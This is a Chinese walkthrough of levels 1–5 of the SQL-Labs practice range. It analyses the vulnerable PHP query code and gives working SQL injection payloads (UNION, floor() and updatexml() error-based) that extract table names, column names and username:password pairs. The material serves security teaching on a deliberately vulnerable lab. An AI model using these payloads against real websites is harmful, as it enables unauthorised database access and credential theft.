SQL-Labs靶场“1-5”关通关教程

news2024/11/26 18:23:53

君衍.

  • 一、准备工作
  • 二、第一关 基于GET单引号字符型注入
    • 1、源码分析
    • 2、联合查询注入过程
  • 三、第二关 基于GET整型注入
    • 1、源码分析
    • 2、联合查询注入过程
  • 四、第三关 基于GET单引号变形注入
    • 1、源码分析
    • 2、联合查询注入过程
  • 五、第四关 基于GET双引号字符型注入
    • 1、源码分析
    • 2、联合查询注入过程
  • 六、第五关 基于GET单引号报错注入
    • 1、源码分析
    • 2、floor报错注入
    • 3、updatexml报错注入

点击跳转:
SQL-Labs靶场“6-10”关通关教程
SQL-Labs靶场“11-15”关通关教程

一、准备工作

这里首先我们需要搭建好SQL-Labs靶场来供我们使用,可以参考这篇文章详细阐述了搭建靶场的步骤以及注意事项(SQL靶场搭建及注入思路基础)

SQL-Labs是一个帮你总结大部分SQL注入漏洞类型的靶场,学习SQL注入漏洞原理,复现SQL注入漏洞必备靶场环境。

我们在使用靶场注入之前需要读上面这篇文章理解注入的含义以及目的,同时简单了解注入的方式,下面我们进行SQL-Labs靶场实践。

二、第一关 基于GET单引号字符型注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=‘$id’

在这里插入图片描述

1、源码分析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysqli_error($con1));
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

在这里插入图片描述
下面我们进行分析下:
这段代码用于从users数据库表中进行检索用户的信息。

# 定义一个SQL查询语句,用于从users表中选择所有列,查询ID列(用户所输入变量id传入)
# LIMIT 0,1限制结果集只返回一行
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 执行SQL查询并将结果存储在result变量中
# con1是数据库连接对象
$result=mysqli_query($con1, $sql);
# 下面从查询结果中获取一行数据,存入row的关联数组中
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
# if进行判断row变量中是否包含了有效的数据库行
# 如果row不为空,说明查询成功
	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	# 这一行输出了MySQL数据库操作中产生的错误信息。
	print_r(mysqli_error($con1));
	echo "</font>";  
	}
}
	# 判断传入参数是否合法
	else { echo "Please input the ID as parameter with numeric value";}

mysqli_fetch_array()函数是从结果集中获取数据行,并以关联数组和数字索引数组的形式返回数据。MYSQLI_BOTH参数指示返回关联数组和数字索引数组两种形式。
这里我们会发现报错回显会有注入点。

2、联合查询注入过程

1、单引号逃逸

在源码分析中我们找到了注入点,这里首先我们进行测试:

?id=1'

在这里插入图片描述
这里我们可以看到报错,所以我们需要逃逸单引号:

?id=1'--+

在这里插入图片描述

2、猜字段数

这里之所以要进行猜字段数,是因为我想要使用联合查询,但是使用联合查询必须满足两个表列相同,不然就会报错。所以我们这里需要进行判断联合的两个表列有多少列,使用order by(原本是用来排序,但是在添加列时,如果按照一个没有的列进行排序就会报错):
在这里插入图片描述
上图是我们进行上帝视角来查看order by的使用,下面我们继续进行猜字段(上图我们可以看到users表中只有三个字段):

?id=1' order by 4--+

在这里插入图片描述
这里我们进行猜字段时可以使用二分法来进行测试,我们可以看到当按照第四个字段进行排序时,数据库进行了报错,和我们使用上帝视角的回显内容一样,所以我们可以得知这个users表只有三个字段。所以这也便于我们之后使用联合查询时,规定字段数,即为:

?id=1' union select 1,2,3--+

在这里插入图片描述

3、联合查询

使用联合查询我们还需注意一个知识点,那便是使用联合查询时,前面条件为真时,我们后面的语句就不执行了,在上面这张图中我们便可以看到,所以这里我们需要使联合查询前面条件为假,我们这里直接使用-1,因为id一般是无符号整型,所以这里我们直接令id=-1:

?id=-1' union select 1,2,3--+

在这里插入图片描述
这里我们可以看到2,3,我们可以上帝视角来查看,这时我们进行查询:
在这里插入图片描述
这里我们即可看到可以使用2,3来进行出数据,那么我们先测试下数据库的名称以及版本即为:

?id=-1' union select 1,database(),version()--+

在这里插入图片描述
这里我们即可看到该数据库的名称以及版本。

4、爆表名,这里我们涉及到数据库的各个库表,建议查看下SQL注入基础再学习。

我们知道在information_schema数据库中的TABLES存放着数据库的所有表名,所以:

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

在这里插入图片描述
这里我们就可以爆出所有表的名称,我们查看哪个表可疑继续注入,我们可以看到有个users表。

5、查列名,这里我们就需要使用到information.schema数据库中的column表来使用。

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

在这里插入图片描述

6、查询数据

既然到这里我们将列已经查了出来,我们查询数据的要求(数据库名、表名、列名)已经可以进行查询数据了。

?id=-1'union select 1,group_concat(username,0x3a,password),3 from users--+

在这里插入图片描述
当然,你也可以一个一个对应着去查:

?id=-1'union select 1,concat(username,0x3a,password),3 from users limit 0,1--+

在这里插入图片描述

三、第二关 基于GET整型注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=$id

在这里插入图片描述

1、源码分析

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
···
# 剩下的与第一关代码相同

这里我们直接可以看到和第一关不一样的只有闭合方式,第二关没有引号的闭合,所以这里我们之后注入时不用进行逃逸。
在这里插入图片描述
同时我们可以参考第一关的源码分析发现这里依旧是输出了报错存在注入点。

2、联合查询注入过程

老规矩,和第一关注入思路一样,但是第二关不用进行单引号逃逸

1、猜字段数

?id=1 order by 3--+
?id=1 order by 4--+

在这里插入图片描述

在这里插入图片描述
这里我们可以知道字段数为3。

2、联合查询

?id=-1 union select 1,database(),version()--+

这里即可爆出数据库的名称以及版本号:
在这里插入图片描述

3、爆表名,这里我们涉及到数据库的各个库表,建议查看下SQL注入基础再学习。

我们知道在information_schema数据库中的TABLES存放着数据库的所有表名,所以:

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

在这里插入图片描述
这里我们就可以爆出所有表的名称,我们查看哪个表可疑继续注入,我们可以看到有个users表。

4、查列名,这里我们就需要使用到information.schema数据库中的column表来使用。

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

在这里插入图片描述

5、查询数据

既然到这里我们将列已经查了出来,我们查询数据的要求(数据库名、表名、列名)已经可以进行查询数据了。

?id=-1 union select 1,group_concat(username,0x3a,password),3 from users--+

在这里插入图片描述

当然,你也可以一个一个对应着去查:

?id=-1 union select 1,concat(username,0x3a,password),3 from users limit 0,1--+
?id=-1 union select 1,concat(username,0x3a,password),3 from users limit 1,1--+
······

在这里插入图片描述
在这里插入图片描述

四、第三关 基于GET单引号变形注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=($id)

在这里插入图片描述

1、源码分析

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
···
# 剩下的与第一关代码相同

这里我们直接可以看到和第一关不一样的只有闭合方式,第三关不但有引号的闭合,还有括号的闭合,所以这里我们之后注入时需要注意单引号以及括号的逃逸。
在这里插入图片描述
同时我们可以参考第一关的源码分析发现这里依旧是输出了报错存在注入点。

2、联合查询注入过程

1、猜字段数

?id=1') order by 3--+
?id=1') order by 4--+

在这里插入图片描述
在这里插入图片描述
这里我们可以知道字段数为3。

2、联合查询

?id=-1') union select 1,database(),version()--+

这里即可爆出数据库的名称以及版本号:
在这里插入图片描述

3、爆表名,这里我们涉及到数据库的各个库表,建议查看下SQL注入基础再学习。

我们知道在information_schema数据库中的TABLES存放着数据库的所有表名,所以:

?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

在这里插入图片描述
这里我们就可以爆出所有表的名称,我们查看哪个表可疑继续注入,我们可以看到有个users表。

4、查列名,这里我们就需要使用到information.schema数据库中的column表来使用。

?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

在这里插入图片描述

5、查询数据

既然到这里我们将列已经查了出来,我们查询数据的要求(数据库名、表名、列名)已经可以进行查询数据了。

?id=-1') union select 1,group_concat(username,0x3a,password),3 from users--+

在这里插入图片描述
当然,你也可以一个一个对应着去查:

?id=-1') union select 1,concat(username,0x3a,password),3 from users limit 0,1--+
?id=-1') union select 1,concat(username,0x3a,password),3 from users limit 1,1--+
······

在这里插入图片描述
在这里插入图片描述

五、第四关 基于GET双引号字符型注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=(“$id”)

在这里插入图片描述

1、源码分析

# 先双引号 在括号拼接
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
···
# 剩下的与第一关代码相同

这里我们直接可以看到和第一关不一样的只有闭合方式,第四关不但有双引号的闭合,还有括号的闭合,所以这里我们之后注入时需要注意双引号以及括号的逃逸。
在这里插入图片描述
同时我们可以参考第一关的源码分析发现这里依旧是输出了报错存在注入点。

2、联合查询注入过程

1、猜字段数

?id=1") order by 3--+
?id=1") order by 4--+

在这里插入图片描述
在这里插入图片描述
这里我们可以知道字段数为3。

2、联合查询

?id=-1") union select 1,database(),version()--+

这里即可爆出数据库的名称以及版本号:
在这里插入图片描述

3、爆表名,这里我们涉及到数据库的各个库表,建议查看下SQL注入基础再学习。

我们知道在information_schema数据库中的TABLES存放着数据库的所有表名,所以:

?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

在这里插入图片描述
这里我们就可以爆出所有表的名称,我们查看哪个表可疑继续注入,我们可以看到有个users表。

4、查列名,这里我们就需要使用到information.schema数据库中的column表来使用。

?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

在这里插入图片描述

5、查询数据

既然到这里我们将列已经查了出来,我们查询数据的要求(数据库名、表名、列名)已经可以进行查询数据了。

?id=-1") union select 1,group_concat(username,0x3a,password),3 from users--+

在这里插入图片描述
当然,你也可以一个一个对应着去查:

?id=-1") union select 1,concat(username,0x3a,password),3 from users limit 0,1--+
?id=-1") union select 1,concat(username,0x3a,password),3 from users limit 1,1--+
······

在这里插入图片描述
在这里插入图片描述

六、第五关 基于GET单引号报错注入

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注id=‘$id’

在这里插入图片描述
因为不输出查询的结果,这就导致不可以使用联合查询的注入方式,但是并不影响正常使用报错、布尔盲注和延时盲注。

1、源码分析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysqli_error($con1));
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

这里我们依旧可以看到拥有输出报错结果的注入点,但是如果输入id,不论为多少,那么界面都是you are in猜测正确的页面不变,不将查询结果打印出来。

# 定义了查询语句,从users表中选择所有字段,条件是id字段为用户输入的
# 同时只返回一行结果通过LIMIT 0,1限制
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 执行上面查询语句保存在result变量,con1是连接数据库变量
$result=mysqli_query($con1, $sql);
# 这行从查询结果中提取一行数据存入row变量中。
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
# 判断是否成功获取数据
	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	# 成功输入You are in···
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	# 输出报错信息
	echo '<font size="3" color="#FFFF00">';
	print_r(mysqli_error($con1));
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	}
}
	# 判单row是否为空,为空则输出
	else { echo "Please input the ID as parameter with numeric value";}

2、floor报错注入

详细报错注入原理见SQL报错注入基础

  • 获取当前数据库
?id=1' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

  • 获取该数据库中的表名
?id=1' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里我们会发现users可疑,那么我们下一步就是查询users的列名。

  • 获取表中的列名
?id=1' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 4,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 5,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里我们找到可疑的字段继续进行查询,即为username以及password:

  • 获取数据
?id=1' or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)--+

在这里插入图片描述

?id=1' or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 1,1),floor(rand(0)*2))x from users group by x)a)--+

在这里插入图片描述
剩下的不再进行举例,floor报错注入结束。

3、updatexml报错注入

  • 获取当前数据库名称
?id=1’ and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

  • 获取数据库中的表
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述

  • 获取可疑表users表的列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述

  • 冲数据
?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述

?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)--+

在这里插入图片描述
这里也就不赘述了,如果想要详细了解updatexml报错注入可以查看这篇文章:updatexml报错注入

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1456714.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

leetcode:416.分割等和子集

解题思路&#xff1a; 转化为01背包问题&#xff0c;集合中每个元素只能用一次&#xff0c;看能不能凑出sum//2这个重量。&#xff08;重量值价值值&#xff09; dp含义&#xff1a;前重量j所获得的最大价值 递推公式&#xff1a;dp[j] max(dp[j],dp[j-numbers[i]] number…

AI嵌入式K210项目(29)-模型加载

文章目录 前言一、下载部署包二、C部署三、搭建文件传输环境四、文件传输五、调试六、MicroPython部署总结 前言 上一章节介绍了如何进行在线模型训练&#xff0c;生成部署包后&#xff0c;本章介绍加载模型&#xff1b; 一、下载部署包 训练结束后&#xff0c;在训练任务条…

幻兽帕鲁 0基础小白如何快速部署服务器

看了许多关于如何部署服务器的&#xff0c;大部分都是要买阿里云或者腾讯云的服务器并且至少四核以上才能保证流畅运行。 但是对于想搭建私服但又没有技术的小白&#xff0c;确实是有点难度了。购买云服务器后还要配置服务器&#xff0c;配置OpenVPN、PalServer&#xff0c;doc…

虚拟机centos7 网络IP冲突

修改其中一个虚拟机IP 1&#xff1a; 设置虚拟机网络配置器的模式为NAT模式&#xff0c;操作方式如下图所示 2&#xff1a;点击虚拟网络编辑器 3&#xff1a;点击NAT设置 4&#xff1a;点击DHCP配置 5&#xff1a; 修改配置文件来指定IP并可以连接到外网&#xff0c;在roo…

基于docker安装HDFS

1.docker一键安装见 docker一键安装 2.拉取镜像 sudo docker pull kiwenlau/hadoop:1.03.下载启动脚本 git clone https://github.com/kiwenlau/hadoop-cluster-docker4.创建网桥 由于 Hadoop 的 master 节点需要与 slave 节点通信&#xff0c;需要在各个主机节点配置节点…

前端技巧之svg精灵图svg-sprite-loader

首先说明精灵图的必要性&#xff0c;其可以让我们只需要向服务器请求一次图片资源&#xff0c;就能加载很多图片&#xff0c;即能够减轻http请求造成的服务器压力。 然后这里要说明的是这个插件是webpack上面的&#xff0c;所以在vue2中比较好用&#xff0c;如果在vue3中&…

RabbitMQ的安装与使用

RabbitMQ的安装与使用 介绍一、RabbitMQ的安装1 查找镜像2 拉取镜像3 查看镜像4 创建容器5 查看容器6 访问测试 二、RabbitMQ的使用1 创建项目2 配置文件3 队列配置文件4 消费者5 生产者6 测试 三、交换器四、普通队列Demo五、死信队列Demo1 介绍2 示例2.1 配置2.2 生产者2.3 消…

Linux下多核CPU指定程序运行的核

设置程序在指定CPU核心运行 一、如何查看程序运行的CPU信息 1.1 查看当前系统CPU有几个核心 查看CPU核心数量&#xff1a;lscpu 1.2 查看程序的PID ps aux|grep cpu_test1.3 查看程序可运行的CPU taskset -c -p pid1.4 设置程序在指定核心上运行 1.4.1 通过运行时的参数设…

Halcon 图像增强(相关算法)

Halcon 图像增强(相关算法) 代码 *****1.读取图片打开窗口**************

【OpenCV学习笔记29】- OpenCV 中的直方图 - 直方图 - 3:2D 直方图

这是对于 OpenCV 官方文档中 图像处理 的学习笔记。学习笔记中会记录官方给出的例子&#xff0c;也会给出自己根据官方的例子完成的更改代码&#xff0c;同样彩蛋的实现也会结合多个知识点一起实现一些小功能&#xff0c;来帮助我们对学会的知识点进行结合应用。 如果有喜欢我笔…

成都力寰璨泓科技有限公司抖音小店购物新体验

在数字化时代&#xff0c;网购已成为人们生活中不可或缺的一部分。随着抖音等短视频平台的兴起&#xff0c;越来越多的消费者选择在抖音小店购物。成都力寰璨泓科技有限公司抖音小店&#xff0c;作为新兴的电商力量&#xff0c;凭借其可靠的品质和服务&#xff0c;正逐渐成为消…

小程序常用组件

一、tabBar tabBar的相关设置要设置在app.json中&#xff08;全局配置&#xff09;。 注意&#xff1a;tabBar中的list是数组形式&#xff0c;每一项都是以对象形式存在&#xff1b; list中对象的数量最多5个&#xff0c;最少2个&#xff1b; list中的对象的pagePath和text是必…

Docker部署Redis哨兵模式

目录结构 先按照这个目录结构创建。 redis主从配置 redis-master主配置文件 #允许远程连接 bind 0.0.0.0# 设置Redis实例的端口号 port 6379# 设置Redis实例的密码 requirepass 123456# 启用持久化 appendonly yes redis-slave1从配置文件 #允许远程连接 bind 0.0.0.0# 设…

ALINX黑金AXU3EGB 开发板用户手册RS485通信接口图示DI RO信号方向标识错误说明

MAX3485这类RS485芯片&#xff0c;DI是TTL信号输入&#xff0c;RO是TTL信号输出 如下图是MAX3485手册规格书。 因此 ALINX黑金AXU3EGB 用户手册 Page 43页 图 3-11-1 PL 端 485 通信的连接示意图&#xff0c;MAX3485芯片的DI RO信号输入输出标识方向是错误的&#xff0c;应为蓝…

【Linux】---Linux下基本指令(2)

目录 一、指令详细介绍1.1 cat 指令1.2 echo 指令1.3 more 指令1.4 less 指令1.5 head 指令1.6 tail 指令1.7 date 指令1.8 cal 指令1.9 find 指令1.10 grep 指令1.11 zip/unzip 指令1.12 tar 指令1.13 uname –r 指令&#xff1a; 一、指令详细介绍 1.1 cat 指令 语法&#…

ABINet原理讲解以及运行

论文地址&#xff1a;https://arxiv.org/pdf/2103.06495.pdf 代码地址&#xff1a;https://github.com/FangShancheng/ABINet 前言 OCR技术经历了是从传统方法到深度学习方法的一个过程&#xff0c;所以在这里我也简述一下传统的OCR技术方法。传统OCR方法在简单场景下效果良…

算法沉淀——BFS 解决最短路问题(leetcode真题剖析)

算法沉淀——BFS 解决最短路问题&#xff08;leetcode真题剖析&#xff09; 01.迷宫中离入口最近的出口02.最小基因变化03.单词接龙04.为高尔夫比赛砍树 BFS&#xff08;广度优先搜索&#xff09;是解决最短路径问题的一种常见算法。在这种情况下&#xff0c;我们通常使用BFS来…

智胜未来,新时代IT技术人风口攻略-第五版(弃稿)

文章目录 前言鸿蒙生态科普调研人员画像高校助力鸿蒙高校鸿蒙课程开设占比教研力量并非唯一原因 企业布局规划全盘接纳仍需一段时间企业对鸿蒙的一些诉求 机构入场红利机构鸿蒙课程开设占比机构对鸿蒙的一些诉求 鸿蒙实际体验高校用户群体场景分析企业用户群体场景分析培训机构…

东方博宜 1395. 小丽找数?

东方博宜 1395. 小丽找数&#xff1f; #include<iostream> using namespace std; int main() {int x ;cin >> x ;int cnt 0 ;for (int i 1 ; i < x ; i){ int y i ;int sum 0;while(y > 0){sum y%10 ;y / 10 ;}if(sum%5!0 &&sum%2!0)cnt 1 …

多线程---乐观锁、悲观锁

乐观锁&#xff08;Optimistic Locking&#xff09; 乐观锁则是一种假定数据在并发访问时很少会发生冲突的锁定策略。因此&#xff0c;乐观锁在访问数据时不会立即对数据进行加锁&#xff0c;而是在更新数据时检查数据是否被其他线程修改过。如果数据没有被修改过&#xff0c;则…